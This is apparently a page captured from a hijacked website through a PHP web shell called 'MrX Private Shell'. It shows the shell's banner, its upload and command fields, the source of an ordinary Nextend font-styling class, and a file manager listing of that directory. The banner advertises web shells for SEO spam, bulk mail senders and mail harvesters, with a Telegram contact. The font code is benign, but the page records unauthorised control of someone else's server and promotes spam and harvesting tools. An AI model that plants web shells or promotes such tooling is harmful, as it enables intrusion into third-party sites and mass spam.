__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\Framework\Font;


use Nextend\Framework\Parser\Color;
use Nextend\Framework\Parser\Common;
use Nextend\Framework\Plugin;
use Nextend\Framework\Sanitize;

class FontStyle {

    public static $fontSize = false;

    /**
     * Generic font family values
     * @url https://developer.mozilla.org/en-US/docs/Web/CSS/font-family#generic-name
     *
     * @var string[]
     */
    private $genericFontFamilyNames = [
        'serif',
        'sans-serif',
        'monospace',
        'cursive',
        'fantasy',
        'system-ui',
        'ui-serif',
        'ui-sans-serif',
        'ui-monospace',
        'ui-rounded',
        'emoji',
        'math',
        'fangsong'
    ];

    private $globalFontFamilyValues = [
        'inherit',
        'initial',
        'revert',
        'revert-layer',
        'unset'
    ];

    /**
     * @param string $tab
     *
     * @return string
     */
    public function style($tab) {
        $style = '';
        $extra = '';
        if (isset($tab['extra'])) {
            $extra = $tab['extra'];
            unset($tab['extra']);
        }
        foreach ($tab as $k => $v) {
            $style .= $this->parse($k, $v);
        }
        $style .= $this->parse('extra', $extra);

        return $style;
    }

    /**
     * @param $property
     * @param $value
     *
     * @return mixed
     */
    public function parse($property, $value) {
        $fn = 'parse' . $property;

        return $this->$fn($value);
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseColor($v) {
        $hex = Color::hex82hex($v);
        if ($hex[1] == 'ff') {
            return 'color: #' . $hex[0] . ';';
        }

        $rgba = Color::hex2rgba($v);

        return 'color: RGBA(' . $rgba[0] . ',' . $rgba[1] . ',' . $rgba[2] . ',' . round($rgba[3] / 127, 2) . ');';

    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseSize($v) {
        if (self::$fontSize) {
            $fontSize = Common::parse($v);
            if ($fontSize[1] == 'px') {
                return 'font-size:' . ($fontSize[0] / self::$fontSize * 100) . '%;';
            }
        }

        return 'font-size:' . Sanitize::esc_css_value(Common::parse($v, '')) . ';';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseTshadow($v) {
        $v    = Common::parse($v);
        $rgba = Color::hex2rgba($v[3]);
        if ($v[0] == 0 && $v[1] == 0 && $v[2] == 0) return 'text-shadow: none;';

        return 'text-shadow: ' . Sanitize::esc_css_value($v[0]) . 'px ' . Sanitize::esc_css_value($v[1]) . 'px ' . Sanitize::esc_css_value($v[2]) . 'px RGBA(' . $rgba[0] . ',' . $rgba[1] . ',' . $rgba[2] . ',' . round($rgba[3] / 127, 2) . ');';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseAfont($v) {
        return 'font-family: ' . $this->loadFont(Sanitize::esc_css_value($v)) . ';';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseLineheight($v) {
        if ($v == '') return '';

        return 'line-height: ' . Sanitize::esc_css_value($v) . ';';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseBold($v) {
        return $this->parseWeight($v);
    }

    public function parseWeight($v) {
        if ($v == '1') return 'font-weight: bold;';
        if ($v > 1) return 'font-weight: ' . intval($v) . ';';

        return 'font-weight: normal;';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseItalic($v) {
        if ($v == '1') return 'font-style: italic;';

        return 'font-style: normal;';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseUnderline($v) {
        if ($v == '1') return 'text-decoration: underline;';

        return 'text-decoration: none;';
    }

    /**
     * @param $v
     *
     * @return string
     */
    public function parseAlign($v) {
        return 'text-align: ' . Sanitize::esc_css_value($v) . ';';
    }

    public function parseLetterSpacing($v) {
        return 'letter-spacing: ' . Sanitize::esc_css_value($v) . ';';
    }

    public function parseWordSpacing($v) {
        return 'word-spacing: ' . Sanitize::esc_css_value($v) . ';';
    }

    public function parseTextTransform($v) {
        return 'text-transform: ' . Sanitize::esc_css_value($v) . ';';
    }

    public function parseExtra($v) {

        return Sanitize::esc_css_string($v);
    }

    /**
     * @param $families
     *
     * @return mixed
     */
    public function loadFont($families) {
        $families = explode(',', $families);
        for ($i = 0; $i < count($families); $i++) {
            $families[$i] = $this->getFamily(trim(trim($families[$i]), '\'"'));
        }

        return implode(',', $families);
    }

    /**
     * @param string $family
     *
     * @return bool
     */
    private function isGenericFamily($family) {
        return in_array($family, $this->genericFontFamilyNames);
    }

    /**
     * @param string $family
     *
     * @return bool
     */
    private function isGlobalFontFamilyValue($family) {
        return in_array($family, $this->globalFontFamilyValues);
    }

    private function getFamily($family) {

        $family = Plugin::applyFilters('fontFamily', $family);

        if ($this->isGenericFamily($family) || $this->isGlobalFontFamilyValue($family)) {
            /**
             * Generic family names and Global values are keywords and must not be quoted!
             */

            return $family;
        }

        return "'" . $family . "'";
    }
}

Filemanager

Name Type Size Permission Actions
Block Folder 0775
Sources Folder 0775
AbstractFontSource.php File 534 B 0664
ControllerAjaxFont.php File 294 B 0664
FontManager.php File 352 B 0664
FontParser.php File 1.27 KB 0664
FontRenderer.php File 10.16 KB 0664
FontSettings.php File 3.43 KB 0664
FontSources.php File 1.23 KB 0664
FontStorage.php File 2.28 KB 0664
FontStyle.php File 5.61 KB 0664
ModelFont.php File 3.45 KB 0664
Filemanager